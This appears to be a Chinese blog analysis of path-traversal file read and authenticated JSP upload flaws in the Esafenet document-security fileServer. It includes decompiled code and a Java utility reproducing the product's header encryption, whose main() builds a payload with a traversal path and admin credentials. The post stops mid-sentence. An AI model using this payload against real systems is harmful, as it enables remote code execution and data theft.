亿赛通电子文档安全管理系统远程代码执行漏洞浅析

亿赛通电子文档安全管理系统远程代码执行漏洞浅析

漏洞分析

最近天天曝亿赛通的漏洞,又是这个新手向的项目,有点烦其实不是很想写的,本次原理也很简单

熟悉的人可能知道这个系统在windows与linux下有点区别,在linux系统下多了一个8021端口

相较于CDGServer3服务下又臭又长的代码,这个fileserver下的代码还是很短小的

image-20231213204553590

任意文件读取

com.esafenet.fileserver.controller.LinuxUpdateController#dlUltrasec

可以看到其实这里存在一个很简单的文件读取功能,这里只要filePath与type不为空即可,很简单的目录穿越漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public void dlUltrasec(HttpServletRequest request, HttpServletResponse response) {
logger.info("进入KO下载程序!");
.....省略.....

String filePath = request.getParameter("path");
String type = request.getParameter("type");
if (StrUtil.isBlank(filePath) && StrUtil.isBlank(type)) {
logger.error("filePath、type参数为空");
return;
}

if ("1".equals(type)) {
type = "ko";
}

if ("2".equals(type)) {
type = "patch";
}

filePath = this.fileService.getAbsolutePathLinux(type, filePath);
File file = new File(filePath);
logger.info("file exists:" + file.exists());
if (file.exists()) {
logger.info(filePath + " 文件存在");
FileInputStream fis = new FileInputStream(file);
response.addHeader("content-type", "application/x-msdownload");
response.addHeader("Content-Disposition", "attachment; filename=" + file.getName());
response.addHeader("Content-Length", String.valueOf(fis.available()));
outputStream = response.getOutputStream();
bos = new BufferedOutputStream(outputStream);
bis = new BufferedInputStream(fis);
byte[] readByte = new byte[8192];
boolean var12 = false;

int size;
while((size = bis.read(readByte)) != -1) {
bos.write(readByte, 0, size);
}

bos.flush();
} else {
logger.error("downloadFile=>文件不存在" + JSON.toJSONString(resultMap));
}
.....省略......

简单来看看getAbsolutePathLinux的代码逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@Value("${SQLurl}")
private String SQLurl;
@Value("${file.path}")
private String basePath;
public String getAbsolutePathLinux(String type, String filePath) {
if (!StringUtils.hasLength(this.basePath)) {
this.basePath = this.getResourcePath();
}

filePath = this.basePath + File.separator + "linux" + File.separator + type + File.separator + filePath;
File file = new File(filePath);
if (!file.exists()) {
file.mkdirs();
}

return filePath;
}

这个值来源于配置文件,同时我们在配置文件当中可以看到有两个参数,用户名与密码(所以也大概知道读的文件是什么了,就是这个jar包),同时亿赛通系统的安装路径也是固定的

image-20231213205550422

因此通过目录穿越,我们只需要读取/esafenet/fileServer/fileServer.jar即可

文件上传

这个功能点在com.esafenet.fileserver.controller.FileController#uploadFile

在这个控制器下有两个引人注目的属性,也就是application配置中的内容

1
2
3
4
@Value("${server.userName}")
private String userName;
@Value("${server.password}")
private String password;

上传的代码很简单,偏新手向,唯一需要注意的就是有参数校验以及加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
public String uploadFile(@RequestParam("file") MultipartFile[] uploadfile, HttpServletRequest request) {
HashMap resultMap = new HashMap();
.....省略......
boolean b = this.validateParamterForUpload(request, resultMap);
String content;
if (!b) {
content = CdgUtils.getInstance().sendInfo(JSON.toJSONString(resultMap));
return content;
}

content = request.getHeader("content");
String json = CdgUtils.decode(content);
JSONObject jsonObject = JSON.parseObject(json);
Long offset = jsonObject.getLong("offset");
long total = jsonObject.getLongValue("totalSize");
String md5 = jsonObject.getString("md5");
String loginName = jsonObject.getString("loginName");
String srcPath = jsonObject.getString("filePath");
int type = jsonObject.getIntValue("type");
List<Map<String, Object>> list = new ArrayList();
if (uploadfile != null && uploadfile.length > 0) {
for(int i = 0; i < uploadfile.length; ++i) {
MultipartFile file = uploadfile[i];
if (file.getSize() != 0L) {
File targetfile = null;
String newPath;
HashMap item;
if (type == 1) {
newPath = this.fileService.getDirPath((String)null);
String filename = srcPath.substring(1);
targetfile = new File(newPath, filename);
if (offset != null) {
this.uploadByBlock(list, offset, targetfile, md5, file);
} else {
file.transferTo(targetfile);
item = new HashMap();
item.put("fileSize", targetfile.length());
item.put("filePath", this.fileService.getRelativePath(targetfile.getAbsolutePath()));
list.add(item);
}
} else if (type == 2) {
newPath = this.getbackupFilePath(srcPath);
if (newPath != null) {
targetfile = new File(newPath);
File dir = targetfile.getParentFile();
if (!dir.exists()) {
dir.mkdirs();
}

if (offset != null) {
this.uploadByBlock(list, offset, targetfile, md5, file);
} else {
file.transferTo(targetfile);
item = new HashMap();
item.put("fileSize", targetfile.length());
item.put("filePath", this.fileService.getRelativePath(targetfile.getAbsolutePath()));
list.add(item);
}
}
}

if (targetfile.length() == total) {
Map<String, String> param = new HashMap();
param.put("md5", md5);
this.fileService.deleteFileInfo(param);
}
}
}
}

resultMap.put("fileList", list);
resultMap.put("code", 1);
resultMap.put("msg", "成功");
return CdgUtils.getInstance().sendInfo(JSON.toJSONString(resultMap));
}

logger.error("文件上传并发总数到达上限,禁止并上传");
resultMap.put("code", 0);
resultMap.put("msg", "文件上传并发总数到达上限,禁止并上传");
var4 = CdgUtils.getInstance().sendInfo(JSON.toJSONString(resultMap));
} catch (Exception var25) {
var25.printStackTrace();
logger.error("uploadFile=>" + var25.getMessage());
resultMap.put("code", 0);
resultMap.put("msg", var25.getMessage() + "");
return CdgUtils.getInstance().sendInfo(JSON.toJSONString(resultMap));
} finally {
semaphoreUpload.release();
System.out.println("释放通路数:" + semaphoreUpload.availablePermits());
}

return var4;
}

首先这里通过validateParamterForUpload对参数做了限制,要求Header中存在content参数,同时解密后要存在以下参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
private boolean validateParamterForUpload(HttpServletRequest request, Map<String, Object> resultMap) throws Exception {
String content = request.getHeader("content");
if (!StringUtils.hasLength(content)) {
resultMap.put("code", 2);
resultMap.put("msg", "参数错误");
return false;
} else {
String json = CdgUtils.decodeContent(content);
if (!StringUtils.hasLength(json)) {
resultMap.put("code", 2);
resultMap.put("msg", "参数错误");
return false;
} else {
JSONObject jsonObject = JSON.parseObject(json);
String serverUserName = jsonObject.getString("userName");
String serverPwd = jsonObject.getString("pwd");
String loginName = jsonObject.getString("loginName");
String filePath = jsonObject.getString("filePath");
long timestamp = jsonObject.getLongValue("timestamp");
Integer type = jsonObject.getInteger("type");
if (!StringUtils.hasLength(serverUserName)) {
resultMap.put("code", 3);
resultMap.put("msg", "文件服务器用户名为空");
return false;
} else if (!StringUtils.hasLength(serverPwd)) {
resultMap.put("code", 4);
resultMap.put("msg", "文件服务器用户密码为空");
return false;
} else if (!StringUtils.hasLength(loginName)) {
resultMap.put("code", 5);
resultMap.put("msg", "CDG服务器用户登录名为空");
return false;
} else if (!StringUtils.hasLength(String.valueOf(timestamp))) {
resultMap.put("code", 6);
resultMap.put("msg", "接口调用时间戳为空");
return false;
} else if (type == null) {
resultMap.put("code", 7);
resultMap.put("msg", "上传类型为空");
return false;
} else if (!serverUserName.equals(this.userName)) {
resultMap.put("code", 9);
resultMap.put("msg", "文件服务器用户名不正确");
return false;
} else if (!serverPwd.equals(this.password)) {
resultMap.put("code", 10);
resultMap.put("msg", "文件服务器用密码不正确");
return false;
} else if (type == 2 && !StringUtils.hasLength(filePath)) {
resultMap.put("code", 11);
resultMap.put("msg", "文件备份路径为空");
return false;
} else {
return true;
}
}
}
}

虽然这个站点是spring的,但是对应另一个端口的服务确是tomcat项目,因此我们只需要向对应位置写个jsp即可,具体细节不再多说

对于加密与解密我这里整理了一下,梳理了下最小逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
import java.lang.reflect.Array;
import java.security.InvalidKeyException;
import java.security.MessageDigest;
import java.util.concurrent.ConcurrentHashMap;



public class Y4Uitls {

static final int[] alog = new int[256];
static final int[] log = new int[256];
static final byte[] S = new byte[256];
static final byte[] Si = new byte[256];
static final int[] T1 = new int[256];
static final int[] T2 = new int[256];
static final int[] T3 = new int[256];
static final int[] T4 = new int[256];
static final int[] T5 = new int[256];
static final int[] T6 = new int[256];
static final int[] T7 = new int[256];
static final int[] T8 = new int[256];
static final int[] U1 = new int[256];
static final int[] U2 = new int[256];
static final int[] U3 = new int[256];
static final int[] U4 = new int[256];
static final byte[] rcon = new byte[30];
static final int[][][] shifts = new int[][][]{{new int[2], {1, 3}, {2, 2}, {3, 1}}, {new int[2], {1, 5}, {2, 4}, {3, 3}}, {new int[2], {1, 7}, {3, 5}, {4, 4}}};


private static final char[] HEX_DIGITS = new char[]{'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'};


private static byte remain_low;
private static byte remain_up;
private static byte upper_bit_add_0100;
private static byte upper_bit_add_0101;
private static byte[] key2;
private static final int ENCRYPT_GROUP_LEN = 16;
private static final int BLOCK_LEN = 16;
private volatile ConcurrentHashMap<String, Integer> clientStatusMap = new ConcurrentHashMap(1000);
private static char[] hexDigits;
private static String publicKey;
public static final String KEY_ALGORITHM = "RSA";
private static final int MAX_DECRYPT_BLOCK = 128;
private String hardId = "";
private static MessageDigest messagedigest;

static {
remain_low = (byte)15;
remain_up = (byte)-16;
upper_bit_add_0100 = (byte)64;
upper_bit_add_0101 = (byte)80;
key2 = new byte[]{-21, -112, 90, -68, 5, 44, 85, -86, -21, -112, 90, -68, 5, 44, 85, -86};
hexDigits = new char[]{'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'};
publicKey = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCdd6QFVUF/86PA5EH0z0QcGDqCV7vKZA7DdNK6wYiA1TY1iRxKpsgWRgh4eTOxzdHdpEmvGZro/rxB5cDO3f/zui5jH+FK+EZZ4WL/6SbdYL1EmxOqj2E7WNhM4hCcai3oaqvvTuZOXZVeP4leHA4CGswvOlpUXTU6tbpcXYe6+wIDAQAB";
messagedigest = null;
}

static {
alog[0] = 1;
int var2;
int var16;
for(var2 = 1; var2 < 256; ++var2) {
var16 = alog[var2 - 1] << 1 ^ alog[var2 - 1];
if ((var16 & 256) != 0) {
var16 ^= 283;
}

alog[var2] = var16;
}

for(var2 = 1; var2 < 255; log[alog[var2]] = var2++) {
}

byte[][] var4 = new byte[][]{{1, 1, 1, 1, 1, 0, 0, 0}, {0, 1, 1, 1, 1, 1, 0, 0}, {0, 0, 1, 1, 1, 1, 1, 0}, {0, 0, 0, 1, 1, 1, 1, 1}, {1, 0, 0, 0, 1, 1, 1, 1}, {1, 1, 0, 0, 0, 1, 1, 1}, {1, 1, 1, 0, 0, 0, 1, 1}, {1, 1, 1, 1, 0, 0, 0, 1}};
byte[] var5 = new byte[]{0, 1, 1, 0, 0, 0, 1, 1};
byte[][] var7 = new byte[256][8];
var7[1][7] = 1;

int var6;
for(var2 = 2; var2 < 256; ++var2) {
var16 = alog[255 - log[var2]];

for(var6 = 0; var6 < 8; ++var6) {
var7[var2][var6] = (byte)(var16 >>> 7 - var6 & 1);
}
}

byte[][] var8 = new byte[256][8];

for(var2 = 0; var2 < 256; ++var2) {
for(var6 = 0; var6 < 8; ++var6) {
var8[var2][var6] = var5[var6];

for(var16 = 0; var16 < 8; ++var16) {
var8[var2][var6] = (byte)(var8[var2][var6] ^ var4[var6][var16] * var7[var2][var16]);
}
}
}

for(var2 = 0; var2 < 256; ++var2) {
S[var2] = (byte)(var8[var2][0] << 7);

for(var6 = 1; var6 < 8; ++var6) {
byte[] var10000 = S;
var10000[var2] = (byte)(var10000[var2] ^ var8[var2][var6] << 7 - var6);
}

Si[S[var2] & 255] = (byte)var2;
}

byte[][] var9 = new byte[][]{{2, 1, 1, 3}, {3, 2, 1, 1}, {1, 3, 2, 1}, {1, 1, 3, 2}};
byte[][] var10 = new byte[4][8];

for(var2 = 0; var2 < 4; ++var2) {
for(var16 = 0; var16 < 4; ++var16) {
var10[var2][var16] = var9[var2][var16];
}

var10[var2][var2 + 4] = 1;
}

byte[][] var13 = new byte[4][4];

for(var2 = 0; var2 < 4; ++var2) {
byte var11 = var10[var2][var2];
if (var11 == 0) {
for(var6 = var2 + 1; var10[var6][var2] == 0 && var6 < 4; ++var6) {
}

if (var6 == 4) {
throw new RuntimeException("G matrix is not invertible");
}

for(var16 = 0; var16 < 8; ++var16) {
byte var12 = var10[var2][var16];
var10[var2][var16] = var10[var6][var16];
var10[var6][var16] = var12;
}

var11 = var10[var2][var2];
}

for(var16 = 0; var16 < 8; ++var16) {
if (var10[var2][var16] != 0) {
var10[var2][var16] = (byte)alog[(255 + log[var10[var2][var16] & 255] - log[var11 & 255]) % 255];
}
}

for(var6 = 0; var6 < 4; ++var6) {
if (var2 != var6) {
for(var16 = var2 + 1; var16 < 8; ++var16) {
var10[var6][var16] = (byte)(var10[var6][var16] ^ mul(var10[var2][var16], var10[var6][var2]));
}

var10[var6][var2] = 0;
}
}
}

for(var2 = 0; var2 < 4; ++var2) {
for(var16 = 0; var16 < 4; ++var16) {
var13[var2][var16] = var10[var2][var16 + 4];
}
}

for(var6 = 0; var6 < 256; ++var6) {
byte var14 = S[var6];
T1[var6] = mul4(var14, var9[0]);
T2[var6] = mul4(var14, var9[1]);
T3[var6] = mul4(var14, var9[2]);
T4[var6] = mul4(var14, var9[3]);
var14 = Si[var6];
T5[var6] = mul4(var14, var13[0]);
T6[var6] = mul4(var14, var13[1]);
T7[var6] = mul4(var14, var13[2]);
T8[var6] = mul4(var14, var13[3]);
U1[var6] = mul4(var6, var13[0]);
U2[var6] = mul4(var6, var13[1]);
U3[var6] = mul4(var6, var13[2]);
U4[var6] = mul4(var6, var13[3]);
}

rcon[0] = 1;
int var15 = 1;

for(var6 = 1; var6 < 30; rcon[var6++] = (byte)(var15 = mul(2, var15))) {
}

}

static final int mul(int var0, int var1) {
return var0 != 0 && var1 != 0 ? alog[(log[var0 & 255] + log[var1 & 255]) % 255] : 0;
}

static final int mul4(int var0, byte[] var1) {
if (var0 == 0) {
return 0;
} else {
var0 = log[var0 & 255];
int var2 = var1[0] != 0 ? alog[(var0 + log[var1[0] & 255]) % 255] & 255 : 0;
int var3 = var1[1] != 0 ? alog[(var0 + log[var1[1] & 255]) % 255] & 255 : 0;
int var4 = var1[2] != 0 ? alog[(var0 + log[var1[2] & 255]) % 255] & 255 : 0;
int var5 = var1[3] != 0 ? alog[(var0 + log[var1[3] & 255]) % 255] & 255 : 0;
return var2 << 24 | var3 << 16 | var4 << 8 | var5;
}
}

public static Object makeKey(byte[] var0) throws InvalidKeyException {
return makeKey(var0, 16);
}

public static byte[] blockEncrypt(byte[] var0, int var1, Object var2) {
int[][] var3 = (int[][])((Object[])var2)[0];
int var4 = var3.length - 1;
int[] var5 = var3[0];
int var6 = ((var0[var1++] & 255) << 24 | (var0[var1++] & 255) << 16 | (var0[var1++] & 255) << 8 | var0[var1++] & 255) ^ var5[0];
int var7 = ((var0[var1++] & 255) << 24 | (var0[var1++] & 255) << 16 | (var0[var1++] & 255) << 8 | var0[var1++] & 255) ^ var5[1];
int var8 = ((var0[var1++] & 255) << 24 | (var0[var1++] & 255) << 16 | (var0[var1++] & 255) << 8 | var0[var1++] & 255) ^ var5[2];
int var9 = ((var0[var1++] & 255) << 24 | (var0[var1++] & 255) << 16 | (var0[var1++] & 255) << 8 | var0[var1++] & 255) ^ var5[3];

for(int var14 = 1; var14 < var4; ++var14) {
var5 = var3[var14];
int var10 = T1[var6 >>> 24 & 255] ^ T2[var7 >>> 16 & 255] ^ T3[var8 >>> 8 & 255] ^ T4[var9 & 255] ^ var5[0];
int var11 = T1[var7 >>> 24 & 255] ^ T2[var8 >>> 16 & 255] ^ T3[var9 >>> 8 & 255] ^ T4[var6 & 255] ^ var5[1];
int var12 = T1[var8 >>> 24 & 255] ^ T2[var9 >>> 16 & 255] ^ T3[var6 >>> 8 & 255] ^ T4[var7 & 255] ^ var5[2];
int var13 = T1[var9 >>> 24 & 255] ^ T2[var6 >>> 16 & 255] ^ T3[var7 >>> 8 & 255] ^ T4[var8 & 255] ^ var5[3];
var6 = var10;
var7 = var11;
var8 = var12;
var9 = var13;
}

byte[] var15 = new byte[16];
var5 = var3[var4];
int var16 = var5[0];
var15[0] = (byte)(S[var6 >>> 24 & 255] ^ var16 >>> 24);
var15[1] = (byte)(S[var7 >>> 16 & 255] ^ var16 >>> 16);
var15[2] = (byte)(S[var8 >>> 8 & 255] ^ var16 >>> 8);
var15[3] = (byte)(S[var9 & 255] ^ var16);
var16 = var5[1];
var15[4] = (byte)(S[var7 >>> 24 & 255] ^ var16 >>> 24);
var15[5] = (byte)(S[var8 >>> 16 & 255] ^ var16 >>> 16);
var15[6] = (byte)(S[var9 >>> 8 & 255] ^ var16 >>> 8);
var15[7] = (byte)(S[var6 & 255] ^ var16);
var16 = var5[2];
var15[8] = (byte)(S[var8 >>> 24 & 255] ^ var16 >>> 24);
var15[9] = (byte)(S[var9 >>> 16 & 255] ^ var16 >>> 16);
var15[10] = (byte)(S[var6 >>> 8 & 255] ^ var16 >>> 8);
var15[11] = (byte)(S[var7 & 255] ^ var16);
var16 = var5[3];
var15[12] = (byte)(S[var9 >>> 24 & 255] ^ var16 >>> 24);
var15[13] = (byte)(S[var6 >>> 16 & 255] ^ var16 >>> 16);
var15[14] = (byte)(S[var7 >>> 8 & 255] ^ var16 >>> 8);
var15[15] = (byte)(S[var8 & 255] ^ var16);
return var15;
}

public static byte[] blockDecrypt(byte[] var0, int var1, Object var2) {
int[][] var3 = (int[][])((Object[])var2)[1];
int var4 = var3.length - 1;
int[] var5 = var3[0];
int var6 = ((var0[var1++] & 255) << 24 | (var0[var1++] & 255) << 16 | (var0[var1++] & 255) << 8 | var0[var1++] & 255) ^ var5[0];
int var7 = ((var0[var1++] & 255) << 24 | (var0[var1++] & 255) << 16 | (var0[var1++] & 255) << 8 | var0[var1++] & 255) ^ var5[1];
int var8 = ((var0[var1++] & 255) << 24 | (var0[var1++] & 255) << 16 | (var0[var1++] & 255) << 8 | var0[var1++] & 255) ^ var5[2];
int var9 = ((var0[var1++] & 255) << 24 | (var0[var1++] & 255) << 16 | (var0[var1++] & 255) << 8 | var0[var1++] & 255) ^ var5[3];

for(int var14 = 1; var14 < var4; ++var14) {
var5 = var3[var14];
int var10 = T5[var6 >>> 24 & 255] ^ T6[var9 >>> 16 & 255] ^ T7[var8 >>> 8 & 255] ^ T8[var7 & 255] ^ var5[0];
int var11 = T5[var7 >>> 24 & 255] ^ T6[var6 >>> 16 & 255] ^ T7[var9 >>> 8 & 255] ^ T8[var8 & 255] ^ var5[1];
int var12 = T5[var8 >>> 24 & 255] ^ T6[var7 >>> 16 & 255] ^ T7[var6 >>> 8 & 255] ^ T8[var9 & 255] ^ var5[2];
int var13 = T5[var9 >>> 24 & 255] ^ T6[var8 >>> 16 & 255] ^ T7[var7 >>> 8 & 255] ^ T8[var6 & 255] ^ var5[3];
var6 = var10;
var7 = var11;
var8 = var12;
var9 = var13;
}

byte[] var15 = new byte[16];
var5 = var3[var4];
int var16 = var5[0];
var15[0] = (byte)(Si[var6 >>> 24 & 255] ^ var16 >>> 24);
var15[1] = (byte)(Si[var9 >>> 16 & 255] ^ var16 >>> 16);
var15[2] = (byte)(Si[var8 >>> 8 & 255] ^ var16 >>> 8);
var15[3] = (byte)(Si[var7 & 255] ^ var16);
var16 = var5[1];
var15[4] = (byte)(Si[var7 >>> 24 & 255] ^ var16 >>> 24);
var15[5] = (byte)(Si[var6 >>> 16 & 255] ^ var16 >>> 16);
var15[6] = (byte)(Si[var9 >>> 8 & 255] ^ var16 >>> 8);
var15[7] = (byte)(Si[var8 & 255] ^ var16);
var16 = var5[2];
var15[8] = (byte)(Si[var8 >>> 24 & 255] ^ var16 >>> 24);
var15[9] = (byte)(Si[var7 >>> 16 & 255] ^ var16 >>> 16);
var15[10] = (byte)(Si[var6 >>> 8 & 255] ^ var16 >>> 8);
var15[11] = (byte)(Si[var9 & 255] ^ var16);
var16 = var5[3];
var15[12] = (byte)(Si[var9 >>> 24 & 255] ^ var16 >>> 24);
var15[13] = (byte)(Si[var8 >>> 16 & 255] ^ var16 >>> 16);
var15[14] = (byte)(Si[var7 >>> 8 & 255] ^ var16 >>> 8);
var15[15] = (byte)(Si[var6 & 255] ^ var16);
return var15;
}

public static synchronized Object makeKey(byte[] var0, int var1) throws InvalidKeyException {
if (var0 == null) {
throw new InvalidKeyException("Empty key");
} else if (var0.length != 16 && var0.length != 24 && var0.length != 32) {
throw new InvalidKeyException("Incorrect key length");
} else {
int var2 = getRounds(var0.length, var1);
int var3 = var1 / 4;
int[][] var4 = new int[var2 + 1][var3];
int[][] var5 = new int[var2 + 1][var3];
int var6 = (var2 + 1) * var3;
int var7 = var0.length / 4;
int[] var8 = new int[var7];
int var9 = 0;

int var10;
for(var10 = 0; var9 < var7; var8[var9++] = (var0[var10++] & 255) << 24 | (var0[var10++] & 255) << 16 | (var0[var10++] & 255) << 8 | var0[var10++] & 255) {
}

int var11 = 0;

for(var10 = 0; var10 < var7 && var11 < var6; ++var11) {
var4[var11 / var3][var11 % var3] = var8[var10];
var5[var2 - var11 / var3][var11 % var3] = var8[var10];
++var10;
}

int var13 = 0;

int var12;
while(var11 < var6) {
var12 = var8[var7 - 1];
var8[0] ^= (S[var12 >>> 16 & 255] & 255) << 24 ^ (S[var12 >>> 8 & 255] & 255) << 16 ^ (S[var12 & 255] & 255) << 8 ^ S[var12 >>> 24 & 255] & 255 ^ (rcon[var13++] & 255) << 24;
int var10001;
if (var7 != 8) {
var9 = 1;

for(var10 = 0; var9 < var7; var8[var10001] ^= var8[var10++]) {
var10001 = var9++;
}
} else {
var9 = 1;

for(var10 = 0; var9 < var7 / 2; var8[var10001] ^= var8[var10++]) {
var10001 = var9++;
}

var12 = var8[var7 / 2 - 1];
var8[var7 / 2] ^= S[var12 & 255] & 255 ^ (S[var12 >>> 8 & 255] & 255) << 8 ^ (S[var12 >>> 16 & 255] & 255) << 16 ^ (S[var12 >>> 24 & 255] & 255) << 24;
var10 = var7 / 2;

for(var9 = var10 + 1; var9 < var7; var8[var10001] ^= var8[var10++]) {
var10001 = var9++;
}
}

for(var10 = 0; var10 < var7 && var11 < var6; ++var11) {
var4[var11 / var3][var11 % var3] = var8[var10];
var5[var2 - var11 / var3][var11 % var3] = var8[var10];
++var10;
}
}

for(int var14 = 1; var14 < var2; ++var14) {
for(var10 = 0; var10 < var3; ++var10) {
var12 = var5[var14][var10];
var5[var14][var10] = U1[var12 >>> 24 & 255] ^ U2[var12 >>> 16 & 255] ^ U3[var12 >>> 8 & 255] ^ U4[var12 & 255];
}
}

Object[] var15 = new Object[]{var4, var5};
return var15;
}
}


public static int getRounds(int var0, int var1) {
switch (var0) {
case 16:
if (var1 == 16) {
return 10;
} else {
if (var1 == 24) {
return 12;
}

return 14;
}
case 24:
if (var1 != 32) {
return 12;
}

return 14;
default:
return 14;
}
}




public static String getTransferUnEncrptString(String s) throws Exception {
byte[] abyte0 = s.getBytes("ISO8859_1");
int nlength = Array.getLength(abyte0);
int len = 2;
byte[] result = new byte[nlength / len];
for (int i = 0; i < nlength; i += len) {
byte bSingleCharUpper;
byte byteRLower = abyte0[i];
byte byteLLower = abyte0[i + 1];
byteRLower = (byte)(byteRLower & remain_low);
byteRLower = (byte)(byteRLower << 4);
byteRLower = (byte)(byteRLower & remain_up);
byteLLower = (byte)(byteLLower & remain_low);
result[i / 2] = bSingleCharUpper = (byteLLower = (byte)(byteLLower | byteRLower));
}
String unencrptString = new String(result, "ISO8859_1");
return unencrptString;
}

public static String getTransferEncrptString(String s) throws Exception {
byte[] byteTransferEncrpt = s.getBytes("ISO8859_1");
int nLength = Array.getLength(byteTransferEncrpt);
byte[] result = new byte[nLength * 2];
for (int i = 0; i < nLength; ++i) {
int c;
int sc = c = byteTransferEncrpt[i];
byte bUpper = (byte)(sc >>>= 4);
int bLower = c;
byte bLowerChar = (byte)(bUpper & remain_low);
byte zero = 0;
bLowerChar = bLowerChar == zero ? (byte)(bLowerChar | upper_bit_add_0101) : (byte)(bLowerChar | upper_bit_add_0100);
byte cLowerChar = bLowerChar;
byte bLowerChar1 = (byte)(bLower & remain_low);
bLowerChar1 = bLowerChar1 == zero ? (byte)(bLowerChar1 | upper_bit_add_0101) : (byte)(bLowerChar1 | upper_bit_add_0100);
byte cLowerChar1 = bLowerChar1;
result[i * 2] = cLowerChar;
result[i * 2 + 1] = cLowerChar1;
}
String encrptString = new String(result, "ISO8859_1");
return encrptString;
}
public static String encode(String str) throws Exception {
byte[] abyte1 = str.getBytes();
int nLength = Array.getLength(abyte1);
encode((byte[])abyte1, (int)nLength, (byte[])key2);
String src = new String(abyte1, "ISO8859_1");
return getTransferEncrptString((String)src);
}
public static void encode(byte[] abyte1, int nLength, byte[] abyte0) throws Exception {
int groupsLen = 16 * (nLength / 16);
Object obj = makeKey((byte[])abyte0);
encrypt((byte[])abyte1, (byte[])abyte1, (int)groupsLen, (Object)obj);
if (groupsLen != nLength) {
int nLeft = nLength - groupsLen;
for (int i = 0; i < nLeft; ++i) {
int n = groupsLen + i;
abyte1[n] = (byte)(abyte1[n] ^ i);
}
}
}

public static String decode(String info) {
try {
info = getTransferUnEncrptString((String)info);
byte[] abyte2 = info.getBytes("ISO8859_1");
int nLength = Array.getLength(abyte2);
decode((byte[])abyte2, (int)nLength, (byte[])key2);
info = new String(abyte2);
return info;
}
catch (Exception ex) {
return info;
}
}

public static void decode(byte[] abyte1, int nLength, byte[] abyte0) throws Exception {
int groupsLen = 16 * (nLength / 16);
Object obj = makeKey((byte[])abyte0);
decrypt((byte[])abyte1, (byte[])abyte1, (int)groupsLen, (Object)obj);
if (groupsLen != nLength) {
int nLeft = nLength - groupsLen;
for (int i = 0; i < nLeft; ++i) {
int n = groupsLen + i;
abyte1[n] = (byte)(abyte1[n] ^ i);
}
}
}

public static void encrypt(byte[] in, byte[] result, int n, Object obj) throws Exception {
byte[] abyte = new byte[16];
byte[] abyte0 = new byte[16];
if (0 == n) {
return;
}
for (int i = 0; i < n / 16; ++i) {
System.arraycopy(in, i * 16, abyte, 0, 16);
abyte0 = blockEncrypt((byte[])abyte, (int)0, (Object)obj);
System.arraycopy(abyte0, 0, result, i * 16, 16);
}
}

public static void decrypt(byte[] in, byte[] result, int n, Object obj) throws Exception {
byte[] abyte = new byte[16];
byte[] abyte0 = new byte[16];
if (0 == n) {
return;
}
for (int i = 0; i < n / 16; ++i) {
System.arraycopy(in, i * 16, abyte, 0, 16);
abyte0 = blockDecrypt((byte[])abyte, (int)0, (Object)obj);
System.arraycopy(abyte0, 0, result, i * 16, 16);
}
}



public static void main(String[] args) throws Exception{
System.out.println(encode("{\"totalSize\":196,\"offset\":\"0\",\"loginName\":\"y4loveyou\",\"filePath\":\"./../../../../../../../../esafenet/CdgWeb/CDGServer3/3g/y4test.jsp\",\"userName\":\"admin\",\"pwd\":\"admin@123\",\"type\":\"1\",\"timestamp\":1702496085}"));
}
}

后话

看都看了不如多看一点,对于MogDbController,虽然路由下很多执行命令的功能点

image-20231213212733587

但是仔细看执行的地方,因为Java命令执行参数化的原因,这里没办法注入其他命令,可惜了这里该是有回显的

image-20231213212827388

但是看另一个路由com.esafenet.fileserver.controller.DataBaseController#backrestore

